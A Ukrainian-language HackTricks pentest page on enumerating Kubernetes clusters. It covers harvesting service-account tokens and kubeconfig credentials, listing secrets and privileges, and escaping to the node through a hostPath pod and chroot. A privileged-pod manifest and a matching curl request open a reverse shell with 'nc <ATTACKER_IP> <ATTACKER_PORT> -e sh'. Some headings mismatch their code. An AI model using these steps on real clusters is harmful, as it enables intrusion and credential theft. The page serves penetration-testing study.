Kubernetes Enumeration
Reading time: 20 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Kubernetes Tokens
Якщо ви отримали доступ до машини, користувач може мати доступ до деякої платформи Kubernetes. Токен зазвичай знаходиться у файлі, на який вказує env var KUBECONFIG
або всередині ~/.kube
.
У цій папці ви можете знайти конфігураційні файли з токенами та конфігураціями для підключення до API сервера. У цій папці також можна знайти кеш-папку з інформацією, яка була отримана раніше.
Якщо ви отримали доступ до поду всередині середовища kubernetes, є й інші місця, де ви можете знайти токени та інформацію про поточне середовище K8:
Service Account Tokens
Перед тим, як продовжити, якщо ви не знаєте, що таке сервіс у Kubernetes, я б порадив вам перейти за цим посиланням і прочитати принаймні інформацію про архітектуру Kubernetes.
Витягнуто з документації Kubernetes:
“Коли ви створюєте под, якщо ви не вказуєте обліковий запис служби, він автоматично призначається за замовчуванням обліковому запису служби в тому ж просторі імен.”
ServiceAccount - це об'єкт, яким керує Kubernetes і який використовується для надання ідентичності для процесів, що виконуються в поді.
Кожен обліковий запис служби має секрет, пов'язаний з ним, і цей секрет містить токен доступу. Це JSON Web Token (JWT), метод для безпечного представлення вимог між двома сторонами.
Зазвичай один з каталогів:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount
містить файли:
- ca.crt: Це сертифікат ca для перевірки комунікацій kubernetes
- namespace: Він вказує на поточний простір імен
- token: Він містить токен служби поточного поду.
Тепер, коли у вас є токен, ви можете знайти API сервер всередині змінної середовища KUBECONFIG
. Для отримання додаткової інформації виконайте (env | set) | grep -i "kuber|kube
"
Токен облікового запису служби підписується ключем, що знаходиться у файлі sa.key, і перевіряється за допомогою sa.pub.
Типове місце розташування на Kubernetes:
- /etc/kubernetes/pki
Типове місце розташування на Minikube:
- /var/lib/localkube/certs
Hot Pods
Гарячі поди - це поди, що містять токен облікового запису служби з привілегіями. Токен облікового запису служби з привілегіями - це токен, який має дозвіл на виконання привілейованих завдань, таких як перерахування секретів, створення подів тощо.
RBAC
Якщо ви не знаєте, що таке RBAC, прочитайте цей розділ.
GUI Applications
- k9s: GUI, який перераховує кластер kubernetes з терміналу. Перевірте команди в https://k9scli.io/topics/commands/. Напишіть
:namespace
і виберіть всі, щоб потім шукати ресурси у всіх просторах імен. - k8slens: Пропонує кілька безкоштовних днів пробного періоду: https://k8slens.dev/
Enumeration CheatSheet
Щоб перерахувати середовище K8, вам потрібно кілька з цього:
- дійсний токен аутентифікації. У попередньому розділі ми бачили, де шукати токен користувача та токен облікового запису служби.
- адреса (https://host:port) API Kubernetes. Це зазвичай можна знайти у змінних середовища та/або у файлі конфігурації kube.
- Необов'язково: ca.crt для перевірки API сервера. Це можна знайти в тих же місцях, де можна знайти токен. Це корисно для перевірки сертифіката API сервера, але використовуючи
--insecure-skip-tls-verify
зkubectl
або-k
зcurl
, вам не знадобиться це.
З цими деталями ви можете перерахувати kubernetes. Якщо API з якоїсь причини доступний через Інтернет, ви можете просто завантажити цю інформацію та перерахувати платформу з вашого хоста.
Однак зазвичай API сервер знаходиться всередині внутрішньої мережі, тому вам потрібно буде створити тунель через скомпрометовану машину, щоб отримати доступ до нього з вашої машини, або ви можете завантажити kubectl бінарний файл або використовувати curl/wget/anything
для виконання сирих HTTP запитів до API сервера.
Differences between list
and get
verbs
З get
дозволами ви можете отримувати інформацію про конкретні активи (describe
опція в kubectl
) API:
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
Якщо у вас є дозвіл list
, ви маєте право виконувати API запити для переліку типу активу (get
опція в kubectl
):
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
Якщо у вас є watch
дозвіл, ви маєте право виконувати API запити для моніторингу активів:
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
Вони відкривають стрімінгове з'єднання, яке повертає вам повний маніфест Deployment щоразу, коли він змінюється (або коли створюється новий).
caution
Наступні команди kubectl
вказують лише на те, як перерахувати об'єкти. Якщо ви хочете отримати доступ до даних, вам потрібно використовувати describe
замість get
Використання curl
Зсередини поду ви можете використовувати кілька змінних середовища:
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
warning
За замовчуванням под може доступатися до kube-api сервера за доменним ім'ям kubernetes.default.svc
і ви можете побачити kube мережу в /etc/resolv.config
, оскільки тут ви знайдете адресу DNS сервера kubernetes (".1" того ж діапазону є кінцевою точкою kube-api).
Використання kubectl
Маючи токен і адресу API сервера, ви використовуєте kubectl або curl для доступу до нього, як вказано тут:
За замовчуванням, APISERVER спілкується з схемою https://
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
якщо в URL немає
https://
, ви можете отримати помилку, схожу на Bad Request.
Ви можете знайти офіційний kubectl cheatsheet тут. Мета наступних розділів - представити в упорядкованому вигляді різні варіанти для перерахунку та розуміння нового K8s, до якого ви отримали доступ.
Щоб знайти HTTP-запит, який надсилає kubectl
, ви можете використовувати параметр -v=8
MitM kubectl - Проксіювання kubectl
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
Поточна конфігурація
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
Якщо вам вдалося вкрасти облікові дані деяких користувачів, ви можете налаштувати їх локально за допомогою чогось на зразок:
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
Отримати підтримувані ресурси
З цією інформацією ви дізнаєтеся про всі сервіси, які ви можете перерахувати
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
Отримати поточні привілеї
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
Інший спосіб перевірити свої привілеї - це використання інструменту: https://github.com/corneliusweig/rakkess****
Ви можете дізнатися більше про Kubernetes RBAC в:
Kubernetes Role-Based Access Control(RBAC)
Якщо ви знаєте, які привілеї у вас є, перевірте наступну сторінку, щоб з'ясувати, чи можете ви їх зловживати для ескалації привілеїв:
Abusing Roles/ClusterRoles in Kubernetes
Отримати ролі інших
k get roles
k get clusterroles
Отримати простори імен
Kubernetes підтримує декілька віртуальних кластерів, які базуються на одному фізичному кластері. Ці віртуальні кластери називаються просторами імен.
k get namespaces
Отримати секрети
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
Якщо ви можете читати секрети, ви можете використовувати наступні рядки, щоб отримати привілеї, пов'язані з кожним токеном:
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
Отримати облікові записи служб
Як обговорювалося на початку цієї сторінки, коли запускається под, зазвичай йому призначається обліковий запис служби. Тому, якщо перерахувати облікові записи служб, їхні дозволи та де вони працюють, це може дозволити користувачу підвищити привілеї.
k get serviceaccounts
Отримати розгортання
Розгортання вказують на компоненти, які потрібно запустити.
k get deployments
k get deployments -n custnamespace
Отримати Pods
Pods - це фактичні контейнери, які будуть запускатися.
k get pods
k get pods -n custnamespace
Отримати сервіси
Kubernetes сервіси використовуються для виведення сервісу на конкретному порту та IP (який буде діяти як балансувальник навантаження для подів, які насправді пропонують сервіс). Це цікаво знати, де ви можете знайти інші сервіси, щоб спробувати атакувати.
k get services
k get services -n custnamespace
Отримати вузли
Отримати всі вузли, налаштовані всередині кластера.
k get nodes
Отримати DaemonSets
DaeamonSets дозволяє забезпечити, щоб конкретний pod працював на всіх вузлах кластера (або на вибраних). Якщо ви видалите DaemonSet, pods, якими він керує, також будуть видалені.
k get daemonsets
Отримати cronjob
Cron jobs дозволяють запланувати запуск поду, який виконає певну дію, використовуючи синтаксис, подібний до crontab.
k get cronjobs
Отримати configMap
configMap завжди містить багато інформації та конфігураційних файлів, які надаються додаткам, що працюють у kubernetes. Зазвичай ви можете знайти багато паролів, секретів, токенів, які використовуються для підключення та валідації до інших внутрішніх/зовнішніх сервісів.
k get configmaps # -n namespace
Отримати мережеві політики / Cilium мережеві політики
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
Отримати все / Усе
k get all
Отримати всі ресурси, керовані helm
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
Отримати споживання Pods
k top pod --all-namespaces
Взаємодія з кластером без використання kubectl
Оскільки контрольна площина Kubernetes відкриває REST-ful API, ви можете вручну створювати HTTP запити та надсилати їх за допомогою інших інструментів, таких як curl або wget.
Втеча з пода
Якщо ви можете створювати нові поди, ви можете втекти з них на вузол. Для цього вам потрібно створити новий под, використовуючи yaml файл, перейти до створеного пода, а потім chroot у систему вузла. Ви можете використовувати вже існуючі поди як посилання для yaml файлу, оскільки вони відображають існуючі образи та шляхи.
kubectl get pod <name> [-n <namespace>] -o yaml
якщо вам потрібно створити pod на конкретному вузлі, ви можете використати наступну команду, щоб отримати мітки на вузлі
k get nodes --show-labels
Зазвичай, kubernetes.io/hostname та node-role.kubernetes.io/master є хорошими мітками для вибору.
Тоді ви створюєте свій attack.yaml файл
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
Після цього ви створюєте под
kubectl apply -f attacker.yaml [-n <namespace>]
Тепер ви можете переключитися на створений pod наступним чином
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
І нарешті ви chroot у систему вузла
chroot /root /bin/bash
Інформація отримана з: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
Створення привілейованого пода
Відповідний yaml файл виглядає наступним чином:
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
Створіть под за допомогою curl:
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Видалити под
Видалити под за допомогою curl:
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
Створити обліковий запис служби
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Видалити обліковий запис служби
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
Створити роль
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Видалити роль
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
Створити прив'язку ролі
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Видалити зв'язок ролі
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
Видалити секрет
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Видалити секрет
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
Посилання
Kubernetes Pentest Methodology Part 3
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.